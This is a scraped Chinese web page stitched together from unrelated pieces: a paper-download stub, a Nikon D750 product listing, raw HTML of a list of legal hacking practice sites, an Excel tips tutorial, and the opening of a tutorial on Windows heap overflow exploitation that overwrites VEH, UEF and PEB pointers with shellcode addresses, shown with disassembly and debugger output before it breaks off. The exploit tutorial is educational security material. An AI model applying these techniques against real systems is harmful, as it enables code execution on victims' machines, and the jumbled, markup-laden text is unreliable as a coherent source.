老式照相机图片ged5b

 上传我的文档
 下载
 收藏
请您下载后勿作商用,只可学习交流使用。 本人如有侵犯作者权益,请作者联系本人删除
 下载此文档
正在努力加载中...
基于机器视觉的仪表数字识别认研究
下载积分:1250
内容提示:基于机器视觉的仪表数字识别认研究
文档格式:PDF|
浏览次数:0|
上传日期: 19:22:48|
文档星级:
全文阅读已结束,如果下载本文需要使用
 1250 积分
下载此文档
该用户还上传了这些文档
基于机器视觉的仪表数字识别认研究
官方公共微信PLUS会员专享价
您购买此商品可享受专属价
选择新地址
请选择套餐内容
¥暂无报价
规格与包装
商品名称:尼康D750
商品编号:1296523
商品毛重:1.73kg
商品产地:泰国(批次不同,产地不同)
商品介绍加载中...
品牌尼康 Nikon
上市时间2014
总像素1800万以上
有效像素1600以上
操作模式半自动
传感器尺寸其它
液晶屏尺寸3.2
液晶屏比例4:3
镜头类型可更换镜头
滤镜直径视镜头而定
曝光模式自动曝光
闪光灯参数
机身闪光灯内置闪光灯
外接闪光灯支持
存储及连接参数
存储介质SD卡;SDHC卡;SDXC卡
附件及电源参数
电池EN-EL15锂离子可充电电池
尺寸约140.5×113×78mm
重量约840g(带电池和存储卡,但不包括机身盖);约750g(仅照相机机身)
尼康(Nikon)D750机身×1、橡胶眼杯DK-21×1、机身盖BF-1B×1、锂离子可充电电池EN-EL15×1、电池充电器MH-25a×1、接目镜盖DK-5×1、USB线UC-E17×1、背带AN-DC14×1、ViewNX 2安装程序光盘×1、保修卡×1、说明书×1、尼康(Nikon)AF-S 14-24mm f/2.8G ED 镜头× 1、遮光罩× 1、前镜盖× 1、后镜盖 LF-1× 1、半软镜头套 CL-M3× 1、保修卡×1、说明书×1、尼康(Nikon)AF-S 24-70mm f/2.8G ED × 1、镜头前镜盖 LC-77, 后镜盖 LF-1, 刺刀式镜头遮光罩 HB-40, 半软镜头套 CL-M3 、说明书 × 1、保修卡 × 1、尼康(Nikon)AF-S 70-200mm f/2.8G ED VR II 防抖变焦镜头 × 1、77mm 镜头前盖 LC-77× 1、镜头后盖 LF-1、镜头遮光罩 HB-48、软镜头袋CL-M4、保修卡×1、说明书×1
权利声明:京东上的所有商品信息、客户评价、商品咨询、网友讨论等内容,是京东重要的经营资源,未经许可,禁止非法转载使用。
注:本站商品信息均来自于合作方,其真实性、准确性和合法性由信息拥有者(合作方)负责。本站不提供任何保证,并不承担任何法律责任。
价格说明:
京东价:京东价为商品的销售价,是您最终决定是否购买商品的依据。
划线价:商品展示的划横线价格为参考价,该价格可能是品牌专柜标价、商品吊牌价或由品牌供应商提供的正品零售价(如厂商指导价、建议零售价等)或该商品在京东平台上曾经展示过的销售价;由于地区、时间的差异性和市场行情波动,品牌专柜标价、商品吊牌价等可能会与您购物时展示的不一致,该价格仅供您参考。
折扣:如无特殊说明,折扣指销售商在原价、或划线价(如品牌专柜标价、商品吊牌价、厂商指导价、厂商建议零售价)等某一价格基础上计算出的优惠比例或优惠金额;如有疑问,您可在购买前联系销售商进行咨询。
异常问题:商品促销信息以商品详情页“促销”栏中的信息为准;商品的具体售价以订单结算页价格为准;如您发现活动商品售价或促销信息有异常,建议购买前先联系销售商咨询。
心中疑惑就问问买过此商品的同学吧~
iframe(src='///ns.html?id=GTM-T947SH', height='0', width='0', style='display: visibility:')&img src=&/v2-3aa71e40bdd010e8ab0cc_b.jpg& data-rawwidth=&1000& data-rawheight=&684& class=&origin_image zh-lightbox-thumb& width=&1000& data-original=&/v2-3aa71e40bdd010e8ab0cc_r.jpg&&&p&进攻即是最好的防御,这句话同样适用于信息安全的世界。这里罗列了19个合法的来练习黑客技术的网站,不管你是一名开发人员、安全工程师、代码审计师、渗透测试人员,通过不断的练习才能让你成为一个优秀安全研究人员。以下网站希望能给各位安全小伙伴带来帮助!若有其他的补充和推荐,欢迎给小编留言(排名不分先后)&/p&&h2&&strong&国外&/strong&&/h2&&strong&1、bWAPP&/strong&&br&免费和开源的web应用程序安全项目。它有助于安全爱好者及研究人员发现和防止web漏洞。&br&&p&地址:&a href=&/?target=http%3A///& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&itsecgames&i class=&icon-external&&&/i&&/a&&/p&&p&&strong&2、Damn Vulnerable iOS App (DVIA)&/strong&&/p&DVIA是一个iOS安全的应用。它的主要目标给移动安全爱好者学习iOS的渗透测试技巧提供一个合法的平台。APP涵盖了所有常见的iOS安全漏洞,它免费并开放源码,漏洞测试和解决方案覆盖到iOS 10版本。&br&&p&地址:&a href=&/?target=http%3A///& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&DVIA (Damn Vulnerable iOS App) - A vulnerable iOS app for pentesting&i class=&icon-external&&&/i&&/a&&/p&&p&&strong&3、&/strong&&strong&Damn Vulnerable Web Application (DVWA)&/strong&&/p&&p&基于 php 和 mysql 的虚拟 Web 应用,“内置”常见的 Web 漏洞,如 SQL 注入、xss 之类,可以搭建在自己的电脑上&/p&&p&地址:&a href=&/?target=http%3A//www.dvwa.co.uk/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Damn Vulnerable Web Application&i class=&icon-external&&&/i&&/a&&/p&&strong&4、Game of Hacks&/strong&&br&基于游戏的方式来测试你的安全技术,每个任务题目提供了大量的代码,其中可能有也可能没有安全漏洞!&br&&p&地址:&a href=&/?target=http%3A///& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Game of Hacks&i class=&icon-external&&&/i&&/a&&/p&&strong&5、Google Gruyere&/strong&&br&一个看起来很low的网址,但充满了漏洞,目的是为了帮助那些刚开始学习应用程序安全性的人员。&br&&p&地址:&a href=&/?target=http%3A//google-/& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://&/span&&span class=&visible&&google-&/span&&span class=&invisible&&/&/span&&span class=&ellipsis&&&/span&&i class=&icon-external&&&/i&&/a&&/p&&strong&6、HackThis!!&/strong&&br&旨在教你如何破解、转储和涂改,以及保护网站的黑客技巧,提供超过50种不同的难度水平。&br&&p&地址:&a href=&/?target=https%3A//www.hackthis.co.uk/& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&https://www.&/span&&span class=&visible&&hackthis.co.uk/&/span&&span class=&invisible&&&/span&&i class=&icon-external&&&/i&&/a&&/p&&strong&7、Hack This Site&/strong&&br&是一个合法和安全的测试黑客技能的网站,并包含黑客资讯、文章、论坛和教程,旨在帮助你学习黑客技术。&br&&p&地址:&a href=&/?target=https%3A//www.hackthissite.org/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Hack This Site&i class=&icon-external&&&/i&&/a&&/p&&strong&8、Hellbound Hackers&/strong&&br&提供了各种各样的安全实践方法和挑战,目的是教你如何识别攻击和代码的补丁建议。主题包含应用程序加密和破解,社工和rooting。社区有接近10万的注册会员,也是最大的一个黑客社区之一。&br&&p&地址:&a href=&/?target=https%3A//www.hellboundhackers.org/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Welcome to Hellbound Hackers&i class=&icon-external&&&/i&&/a&&/p&&strong&9、McAfee HacMe Sites&/strong&&br&迈克菲提供的各类黑客及安全测试工具&br&&p&地址:&a href=&/?target=http%3A///us/downloads/free-tools/index.aspx& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Free Tools | McAfee Downloads&i class=&icon-external&&&/i&&/a&&/p&&strong&10、Mutillidae&/strong&&br&mutillidaemutillidae是一个免费,开源的Web应用程序,提供专门被允许的安全测试和入侵的Web应用程序。其中包含了丰富的渗透测试项目,如SQL注入、跨站脚本、clickjacking、本地文件包含、远程代码执行等.&br&&p&地址:&a href=&/?target=https%3A//sourceforge.net/projects/mutillidae/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&OWASP Mutillidae II&i class=&icon-external&&&/i&&/a&&/p&&strong&11、OverTheWire&/strong&&br&基于游戏的让你学习安全技术和概念的黑客网站&br&&p&地址:&a href=&/?target=http%3A//overthewire.org/wargames/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&OverTheWire: Wargames&i class=&icon-external&&&/i&&/a&&/p&&strong&12、Peruggia&/strong&&br&一个提供安全、合法攻击的黑客网站&br&&p&地址:&a href=&/?target=https%3A//sourceforge.net/projects/peruggia/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Peruggia&i class=&icon-external&&&/i&&/a&&/p&&strong&13、Root Me&/strong&&br&通过超过200名黑客的挑战和50个虚拟环境来提高你黑客技巧和网络安全知识的网站&br&&p&地址:&a href=&/?target=https%3A//www.root-me.org/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&plateforme d'apprentissage dédiée au Hacking et à la Sécurité de l'Information]&i class=&icon-external&&&/i&&/a&&/p&&strong&14、Try2Hack&/strong&&br&最古老的黑客网站之一,提供多种安全挑战。&br&&p&地址:&a href=&/?target=http%3A//www.try2hack.nl/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&::[ www.try2hack.nl ]::&i class=&icon-external&&&/i&&/a&&/p&&strong&15、Vicnum&/strong&&br&OWASP项目之一,简单框架,针对不同的需求,并基于游戏的方式来引导安全开发者学习安全技术。&br&&p&地址:&a href=&/?target=http%3A///& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Welcome to Vicnum&i class=&icon-external&&&/i&&/a&&/p&&strong&16、WebGoat&/strong&&br&最受欢迎的OWASP项目,提供了一个真实的安全教学环境,指导用户设计复杂的应用程序安全问题&br&&p&地址:&a href=&/?target=http%3A//webappsecmovies.sourceforge.net/webgoat/& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://&/span&&span class=&visible&&webappsecmovies.sourceforge.net&/span&&span class=&invisible&&/webgoat/&/span&&span class=&ellipsis&&&/span&&i class=&icon-external&&&/i&&/a&&/p&&h2&&strong&国内&/strong&&/h2&&p&&strong&1、&/strong&&strong&i春秋&/strong&&/p&&p&国内比较好的安全知识在线学习平台,把复杂的操作系统、工具和网络环境完整的在网页进行重现,为学习者提供完全贴近实际环境的实验平台,&/p&&p&地址:&a href=&/?target=http%3A///main& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&网络安全培训|信息安全培训|防黑客技术-首选i春秋&i class=&icon-external&&&/i&&/a&&/p&&p&&strong&2、XCTF_OJ 练习平台&/strong&&/p&&p&XCTF-OJ (X Capture The Flag Online Judge)是由XCTF组委会组织开发并面向XCTF联赛参赛者提供的网络安全技术对抗赛练习平台。XCTF-OJ平台将汇集国内外CTF网络安全竞赛的真题题库,并支持对部分可获取在线题目交互环境的重现恢复,XCTF联赛后续赛事在赛后也会把赛题离线文件和在线交互环境汇总至XCTF-OJ平台,形成目前全球CTF社区唯一一个提供赛题重现复盘练习环境的站点资源。&/p&&p&地址:&a href=&/?target=http%3A//oj./& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&XCTF_OJ竞赛平台&i class=&icon-external&&&/i&&/a&&/p&&p&&strong&3、&/strong&&strong&网络信息安全攻防学习平台&/strong&&/p&&p&提供基础知识考查、漏洞实战演练、教程等资料。实战演练以 Web 题为主,包含基础关、脚本关、注入关、上传关、解密关、综合关等。&/p&&p&地址:&a href=&/?target=http%3A///index.php& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&网络安全实验室|网络信息安全攻防学习平台&i class=&icon-external&&&/i&&/a&&/p&&p&&strong&参考来源:&/strong&&/p&&p&&a href=&/?target=http%3A//list.ly/list/euz-15-vulnerable-sites-to-legally-practice-your-hacking-skills-2016-update& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&15 Vulnerable Sites To (Legally) Practice Your Hacking Skills - 2016 Update | Listly List&i class=&icon-external&&&/i&&/a&&/p&&p&&a href=&/?target=http%3A///sectool/4708.html& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&[TOP10]十大渗透测试演练系统 -
| 关注黑客与极客&i class=&icon-external&&&/i&&/a&&/p&&p&&a href=&/question/& class=&internal&&网络攻防平台有哪些? - 网络安全 - 知乎&/a&&/p&&p&&strong&作者:Douglas@阿里聚安全,更多阿里的安全技术及资讯文章,持续关注阿里聚安全的安全博客&/strong&&/p&
进攻即是最好的防御,这句话同样适用于信息安全的世界。这里罗列了19个合法的来练习黑客技术的网站,不管你是一名开发人员、安全工程师、代码审计师、渗透测试人员,通过不断的练习才能让你成为一个优秀安全研究人员。以下网站希望能给各位安全小伙伴带来帮…
&img src=&/v2-c5bafddd7dd0f33a_b.jpg& data-rawwidth=&480& data-rawheight=&270& class=&origin_image zh-lightbox-thumb& width=&480& data-original=&/v2-c5bafddd7dd0f33a_r.jpg&&&p&想成为一名专业的数据分析师,知道如何更快更好的处理数据的方法自然少不了。今天就跟大家分享下数据分析师常用的6个比较基础的Excel使用技巧,因为比较简单,所以尽管抱着一种轻松愉快的心情就好啦。&/p&&p&一、删除空白行&/p&&p&比如以下数据,需要把中间的空白行删掉(当然这几行数据,你完全可以慢慢地逐行删掉,但假设你的数据有100000行,难道你要逐行删除吗?NONONO)。&/p&&p&&img src=&/v2-bcba_b.png& data-rawwidth=&290& data-rawheight=&264& class=&content_image& width=&290&&1. 选择你要处理的数据:&/p&&p&&img src=&/v2-bf8b2c7de0a16ffa1b9562_b.png& data-rawwidth=&381& data-rawheight=&343& class=&content_image& width=&381&&2.
“开始”-&“查找和选择”-&“定位条件”:&/p&&p&&img src=&/v2-dcf6cdefe812b7_b.png& data-rawwidth=&438& data-rawheight=&127& class=&origin_image zh-lightbox-thumb& width=&438& data-original=&/v2-dcf6cdefe812b7_r.png&&&img src=&/v2-729e2dbda3ca4_b.png& data-rawwidth=&290& data-rawheight=&342& class=&content_image& width=&290&&3. 在弹出的“定位条件”对话框中选择“空值”,点击确定:&/p&&img src=&/v2-82b3f641d_b.png& data-rawwidth=&354& data-rawheight=&394& class=&content_image& width=&354&&&br&&p&4. 此时数据处于选中状态:&/p&&p&&img src=&/v2-1b58b2fba2f79733deca395_b.png& data-rawwidth=&382& data-rawheight=&318& class=&content_image& width=&382&&5. 这时单击鼠标右键,选择“删除”:&/p&&img src=&/v2-53e8e7e049ceeb3a34003de5_b.png& data-rawwidth=&458& data-rawheight=&385& class=&origin_image zh-lightbox-thumb& width=&458& data-original=&/v2-53e8e7e049ceeb3a34003de5_r.png&&&br&&p&6. 在弹出的对话框中选择删除“整行”:&/p&&p&&img src=&/v2-5a509efdca6531f1bbb0461becfdeacc_b.png& data-rawwidth=&187& data-rawheight=&210& class=&content_image& width=&187&&7.
点击确定,这时就得到我们想要的数据了:&/p&&img src=&/v2-ead11ba9ec501cd0ac6e01a_b.png& data-rawwidth=&290& data-rawheight=&156& class=&content_image& width=&290&&&p&二、空白填充&/p&&p&我们在做分析时,经常会遇到获取的数据存在很多空值的情况,这时我们需要用其它的值来代替它,这时候就需要我们掌握如何可以更快地填充空白数据的方法了。&/p&&p&比如以下数据,需要把空的单元格里一次性全部填充为0。(假设空白的单元格有100000行,难道你要一个个填充吗?NONONO)&/p&&p&&img src=&/v2-f6bd3205cfbe41a8f499_b.png& data-rawwidth=&290& data-rawheight=&156& class=&content_image& width=&290&&1. 选中要处理的数据:&/p&&img src=&/v2-956c34dcabb4a4b19fb9f34dd708a2aa_b.png& data-rawwidth=&379& data-rawheight=&230& class=&content_image& width=&379&&&br&&p&2. “ 开始”-&“查找和选择”-&“定位条件”-&“空值”,点击确定(这几个步骤和刚刚讲述的删除空白行的前半部分的步骤一样):&/p&&p&&img src=&/v2-0cf9bec5f68_b.png& data-rawwidth=&356& data-rawheight=&173& class=&content_image& width=&356&&&img src=&/v2-8e53c583af0fbe5c88c7_b.png& data-rawwidth=&291& data-rawheight=&344& class=&content_image& width=&291&&&img src=&/v2-a7dbb047b84bd_b.png& data-rawwidth=&354& data-rawheight=&394& class=&content_image& width=&354&&3. 这时单元格的选中状态如下:&/p&&img src=&/v2-ecb1b27468f0bfa8c71fa_b.png& data-rawwidth=&371& data-rawheight=&209& class=&content_image& width=&371&&&br&&p&4. 直接键盘输入数字0(切记:不要点击鼠标左键):&/p&&p&&img src=&/v2-5dae1dbfe6a391e53f62f7_b.png& data-rawwidth=&373& data-rawheight=&214& class=&content_image& width=&373&&5. 输入 0后,直接使用快捷键“Ctrl+Enter”,可将单元格全部填充为0:&/p&&img src=&/v2-da2adc9d9b7e4de0d9d2d3b_b.png& data-rawwidth=&365& data-rawheight=&200& class=&content_image& width=&365&&&br&&p&6. 此时再点击一下鼠标,取消掉选中的数据状态,即可得到想要的数据:&/p&&p&&img src=&/v2-ad_b.png& data-rawwidth=&342& data-rawheight=&195& class=&content_image& width=&342&&三、数据分列&/p&&p&我们在做分析前,拿到的数据有时会是以下这种状况,这时就必须使用分列来达到分割数据的目的,最终使得数据能满足我们分析的要求(这里数据之间的连接符号我举例的是&,其它的情况处理方法也是类似的)。&/p&&p&&img src=&/v2-07ef4ecbc7d4e2de31c67de_b.png& data-rawwidth=&217& data-rawheight=&88& class=&content_image& width=&217&&1. 选中要处理的数据:&/p&&img src=&/v2-bf1efa11dacfa8f6603c3c_b.png& data-rawwidth=&314& data-rawheight=&152& class=&content_image& width=&314&&&br&&p&2. 选择“数据”-&“分列”:&/p&&img src=&/v2-e9bdab1a3a287c1d7f1f_b.png& data-rawwidth=&554& data-rawheight=&206& class=&origin_image zh-lightbox-thumb& width=&554& data-original=&/v2-e9bdab1a3a287c1d7f1f_r.png&&&br&&p&3. 点击“分列”后,在弹出的对话框中选择“分隔符号”,在下面我们也可以预览选定的数据:&/p&&p&&img src=&/v2-4d295d6c27cfb3abc1009b_b.png& data-rawwidth=&521& data-rawheight=&476& class=&origin_image zh-lightbox-thumb& width=&521& data-original=&/v2-4d295d6c27cfb3abc1009b_r.png&&4. 点击下一步后,在弹出的对话框中,选择分割符号“其它”,在后面的输入框中输入&符号,这时在下面的数据预览功能区,可以看到分列出的数据的样子:&/p&&img src=&/v2-1e213a61e23db7f5b70d6_b.png& data-rawwidth=&521& data-rawheight=&476& class=&origin_image zh-lightbox-thumb& width=&521& data-original=&/v2-1e213a61e23db7f5b70d6_r.png&&&br&&p&5. 点击下一步,在弹出的对话框中,目标区域中输入你需要把分列后的数据存放的位置:&/p&&img src=&/v2-94b4132adddcd0_b.png& data-rawwidth=&521& data-rawheight=&476& class=&origin_image zh-lightbox-thumb& width=&521& data-original=&/v2-94b4132adddcd0_r.png&&&br&&p&6. 点击完成,即可得到处理后的数据:&/p&&p&&img src=&/v2-910d4ec434f5e27e48d880_b.png& data-rawwidth=&554& data-rawheight=&114& class=&origin_image zh-lightbox-thumb& width=&554& data-original=&/v2-910d4ec434f5e27e48d880_r.png&&四、删除重复项&/p&&p&在进行数据分析时,经常拿到的数据是存在重复值的,我们必须去重后才能进行分析。比如下面的数据,需要拿到不重复的同学的姓名。&/p&&img src=&/v2-6caaab603ca397ce03bc_b.png& data-rawwidth=&73& data-rawheight=&221& class=&content_image& width=&73&&&p&1. 选中要处理的数据:&/p&&img src=&/v2-5a2d0a6f7f77e69f90aafe05fbe2a771_b.png& data-rawwidth=&146& data-rawheight=&271& class=&content_image& width=&146&&&br&&p&2.
选择“数据”-&“删除重复项”:&/p&&img src=&/v2-0bb4d67bec720b8c985bd0d1c8e78317_b.png& data-rawwidth=&554& data-rawheight=&111& class=&origin_image zh-lightbox-thumb& width=&554& data-original=&/v2-0bb4d67bec720b8c985bd0d1c8e78317_r.png&&&br&&p&3. 在弹出的对话框中,观察所要删除重复值的列:&/p&&img src=&/v2-17a033f13acad56b7d44ef311c869c43_b.png& data-rawwidth=&450& data-rawheight=&302& class=&origin_image zh-lightbox-thumb& width=&450& data-original=&/v2-17a033f13acad56b7d44ef311c869c43_r.png&&&br&&p&4. 点击确定即可得到你要的数据:&/p&&img src=&/v2-29ca924c41ee0fae1bfac50f9de078a2_b.png& data-rawwidth=&554& data-rawheight=&195& class=&origin_image zh-lightbox-thumb& width=&554& data-original=&/v2-29ca924c41ee0fae1bfac50f9de078a2_r.png&&&p&五、格式化图表&/p&&p&数据分析完后,我们需要将我们的数据进行可视化做成图表进而生成报告,使得我们的报告更加轻松易懂。这时比如你已经做好了一个图表的样式,但同类型的图表有很多个,需要将每个图表的样式都做成同第一个图表一样的样式,这时就需要掌握图表格式化的技巧了。比如你已经做好的一个图表如下:&br&&/p&&img src=&/v2-eab2b904abfc0582d5dda47_b.png& data-rawwidth=&413& data-rawheight=&299& class=&content_image& width=&413&&&br&&p&1. 按照正常的画图表的方式,将数据呈现为图表,此时的图表是Excel默认的样式,如下:&/p&&p&&img src=&/v2-63fdae43dd2756bc87bcc6_b.png& data-rawwidth=&550& data-rawheight=&370& class=&origin_image zh-lightbox-thumb& width=&550& data-original=&/v2-63fdae43dd2756bc87bcc6_r.png&&2. 接下来就要开始格式化图表了,首先选中画好的第一个图表,按下Ctrl+C:&/p&&p&&img src=&/v2-6e8b884bf51_b.png& data-rawwidth=&554& data-rawheight=&315& class=&origin_image zh-lightbox-thumb& width=&554& data-original=&/v2-6e8b884bf51_r.png&&3. 然后再选中你要处理的图表:&/p&&img src=&/v2-f6bdb60c6be8dfb5df35d8_b.png& data-rawwidth=&551& data-rawheight=&309& class=&origin_image zh-lightbox-thumb& width=&551& data-original=&/v2-f6bdb60c6be8dfb5df35d8_r.png&&&br&&p&4.
随后选择“开始”-&“粘贴”-&“选择性粘贴”:&/p&&img src=&/v2-36ce6f50fec1651feff57f17d6ed7f86_b.png& data-rawwidth=&354& data-rawheight=&255& class=&content_image& width=&354&&&br&&p&5.
在弹出的对话框中选择“格式”,然后点击确定:&/p&&img src=&/v2-d7b8e172d714d0dcabbdd_b.png& data-rawwidth=&187& data-rawheight=&187& class=&content_image& width=&187&&&br&&p&6.
这样就得到你要处理后的图表了,跟第一个图表的样式一样的哦:&/p&&p&&img src=&/v2-5e8fb23d8e615a1b1eb5_b.png& data-rawwidth=&541& data-rawheight=&301& class=&origin_image zh-lightbox-thumb& width=&541& data-original=&/v2-5e8fb23d8e615a1b1eb5_r.png&&六、照相机&/p&&p&有如下表格里的这些数据,每次我发报告的时候,每次更改下表格里的数据,我都必须再手动截图复制粘贴一次,这样操作会很麻烦,所以我希望可以每次表格里的数字变动一次,对应的截图里的数字也自动变更,这时Excel自带的照相机就能帮上忙了。比如,我将上面图表里的数字60改为70,下面的截图里面的60也自动跟着变成70,这样我每次改动后直接把截图粘贴到我的比如PPT报告里就可以了,减少了一部分操作步骤。&/p&&img src=&/v2-88efc4cbafbede589a293a04_b.png& data-rawwidth=&554& data-rawheight=&251& class=&origin_image zh-lightbox-thumb& width=&554& data-original=&/v2-88efc4cbafbede589a293a04_r.png&&&br&&p&1. 首先选中你要粘贴的数据:&/p&&img src=&/v2-b18dd849af_b.png& data-rawwidth=&554& data-rawheight=&227& class=&origin_image zh-lightbox-thumb& width=&554& data-original=&/v2-b18dd849af_r.png&&&br&&p&2.
点击“照相机”,这时你选中的图表区域处在被锁定状态:&/p&&img src=&/v2-e4ff959b6de63dce7a51611_b.png& data-rawwidth=&554& data-rawheight=&357& class=&origin_image zh-lightbox-thumb& width=&554& data-original=&/v2-e4ff959b6de63dce7a51611_r.png&&&br&&p&3. 然后鼠标点击工作表中的你想要存放截图的位置,这时照相机照相后的图片就会出现在你选择的位置上了:&/p&&img src=&/v2-4f589db8aca6dbbdd670_b.png& data-rawwidth=&554& data-rawheight=&255& class=&origin_image zh-lightbox-thumb& width=&554& data-original=&/v2-4f589db8aca6dbbdd670_r.png&&&br&&p&4. 接下来不管你更改原始图表中的任何数字,截图中的数字自然也会跟着变化了。&/p&&p&在这里需要注意一个细节,我的“照相机”按钮是放在excel工作簿的左上角,但可能你找不到你的“照相机”,这时需要到“文件”-&“选项”-&“自定义功能区”-&“不在功能区中的命令”-&“照相机”-&“添加”到你喜欢的功能区中即可(这里表达比较简洁,如果实在找不到的话百度下就晓得了哦)。&/p&&p&今天跟大家分享的是比较基础的一些使用技巧,但不要小看这些技巧,在数据分析的数据处理环节中这些方法真的很实用。后续也会持续跟大家分享其它的Excel实用小技巧,欢迎在Excel使用技巧上有想法的朋友们找我交流,一起进步哦。&/p&
想成为一名专业的数据分析师,知道如何更快更好的处理数据的方法自然少不了。今天就跟大家分享下数据分析师常用的6个比较基础的Excel使用技巧,因为比较简单,所以尽管抱着一种轻松愉快的心情就好啦。一、删除空白行比如以下数据,需要把中间的空白行删掉(…
&img src=&/v2-5ee5ebb51a1d7c58457da04bfa3024f5_b.jpg& data-rawwidth=&1280& data-rawheight=&720& class=&origin_image zh-lightbox-thumb& width=&1280& data-original=&/v2-5ee5ebb51a1d7c58457da04bfa3024f5_r.jpg&&&p& Windows下的堆栈溢出攻击和*nix下的,原理基本相同。但是,由于windows用户进程地址空间分配和堆栈处理有其独立的特点,导致了windows 环境下堆栈溢出攻击时,使用的堆栈溢出字符串,与unix下的,区别很大。另外,windows的版本也导致了windows下的exploit不具有通用性。windows版本不同,而exploit使用了很多动态链接库里面的库函数,其地址都是与dll的版本有关系的。不同的dll版本,里面的库函数的偏移地址就可能(注意:是可能)不同。因为windows的patch天天有,他的一些dll就更新很快。甚至可能不同语言版本的windows,其核心dll的版本都不同。用户的dll一变更,那么,我们的exploit里面的shellcode就要重新写。&/p&&p&
为了解决这个问题,我想我们可以尽量减少固定地址的使用。即,使用GetProcAddress来获得我们将使用的每一个系统函数,当然这就大大加长了我们的shellcode。但是,这也无法消除对kernel32.dll的中LoadLibrary和GetProcAddress的地址的直接引用,因为这两个是shellcode中最基本的函数,自然就导致了对kernel32.dll版本的依赖。&/p&&p&一、利用VEH&/p&&p&
向量化异常处理(VEH,Vectored Exception Handling)最初是在XP中公布,它的优先级高于SEH,并且VEH是存在堆中的,它是你在代码中明确添加的,并不伴随try/catch之类的语句而产生,它也需要通过API(AddVectoredExceptionHandler)来注册回调函数,并可注册多个VEH,各个VEH结构体之间串成双向链表,因此比SEH多了一个前指针。每一个VEH结构均存储在堆上,其结构如下:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&struct _VECTORED_EXCEPTION_NODE
//指向下一个_VECTORED_EXCEPION_NODE结构,因此可用伪造的指针来覆盖它
m_pPreviousN
//指向上一个_VECTORED_EXCEPION_NODE结构
m_pfnVectoredH
//异常处理函数
&/code&&/pre&&/div&&br&&p&负责分发_VECTORED_EXCEPION_NODE的代码如下:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&77F7F49E
8B35 1032FC77
MOV ESI,DWORD PTR DS:[77FC3210]赋值后ESI指向_VECTORED_EXCEPION_NODE结构,即m_pNextNode
JMP SHORT ntdll.77F7F4B4
LEA EAX,DWORD PTR SS:[EBP-8]
CALL DWORD PTR DS:[ESI+8]可用shellcode-0x8去覆盖m_pNextNode指针
&/code&&/pre&&/div&&br&&br&&p&接着我们在堆中确定shellcode地址,可先用垃圾字符去填充,比如'0x41',然后在堆中搜索它。当发生堆溢出时,堆块的前向指针和后向指针就会被篡改,比如异常出现在:&/p&&br&&br&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&MOV DWORD PTR DS:[ECX],EAXEAX = Flink = 写入的内容MOV DWORD PTR DS:[EAX+4],ECXECX = Blink = 写入的地址
&/code&&/pre&&/div&&br&&p&那么我们就可以用m_pNextNode-4来覆盖ECX,然后用shellcode-8去覆盖EAX。关于m_pNextNode指针的获取,我们只需在触发异常后,按shift+F7步过异常即可找到此指针,比如以下代码:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&77F60C2C
BF 1032FC77
MOV EDI,ntdll.77FC3210m_pNextNode指针
393D 1032FC77
CMP DWORD PTR DS:[77FC3210],EDI
0F85 48E80100
JNZ ntdll.77F7F485
&/code&&/pre&&/div&&br&&p&关于EAX和ECX的偏移地址可通过pattern_create和pattern_offset来获取。这样当触发异常时就会调用VEH,而此时下一个VEH结构即是我们特意构造的shellcode,这样我们的恶意代码就有可以被执行了。&/p&&p&二、利用UEF&/p&&p&
系统默认异常处理函数(UEF,Unhandler Exception Filter)是系统处理异常时最后调用的一个异常处理例程,在堆溢出中,只需将这一地址覆盖为我们的shellcode地址即可。获取UEF地址的方法可以通过查看SetUnhandledExceptionFilter()的代码来定位,接着再找到操作UnhandledExceptionFilter指针的MOV指令,比如以下代码:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&77E93114
A1 B473ED77
MOV EAX,DWORD PTR DS:[77ED73B4]UnhandledExceptionFilter指针
CMP EAX,ESI
JE SHORT kernel32.77E93132
&/code&&/pre&&/div&现在我们只需找到shellcode地址,或者看是否有某一寄存器reg刚好指向shellcode或其附近,然后用shellcode地址或者类似call [reg + offset]的指令地址来覆盖UnhandledExceptionFilter指针,比较常用的指令如: &div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&call dword ptr ds:[edi+74]
call dword ptr ds:[esi+4c]
&/code&&/pre&&/div&&br&&br&&p&其它eax,ebx也有可能指向堆,亦可作为跳板来用。&/p&&p&三、利用PEB&/p&&p&
由于当UEF被调用后,它最终会调用ExitProcess()来结束程序,而它在清理现场时需要进入临界区以同步线程,因此会调用RtlEnterCriticalSection()t和RtlLeaveCriticalSection()。ExitProcess是通过存放在PEB中的一对指针来调用这两个函数的,如果能够利用DWORD SHOOT把这对指针篡改成shellcode入口地址,那么在程序结束调用ExitProcess()就会执行shellcode。下面是在Windows XP SP3下PEB的情况:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&0:000& dt _PEB
ntdll!_PEB
+0x000 InheritedAddressSpace : UChar
+0x001 ReadImageFileExecOptions : UChar
+0x002 BeingDebugged
+0x003 SpareBool
+0x004 Mutant
: Ptr32 Void
+0x008 ImageBaseAddress : Ptr32 Void
+0x00c Ldr
: Ptr32 _PEB_LDR_DATA
+0x010 ProcessParameters : Ptr32 _RTL_USER_PROCESS_PARAMETERS
+0x014 SubSystemData
: Ptr32 Void
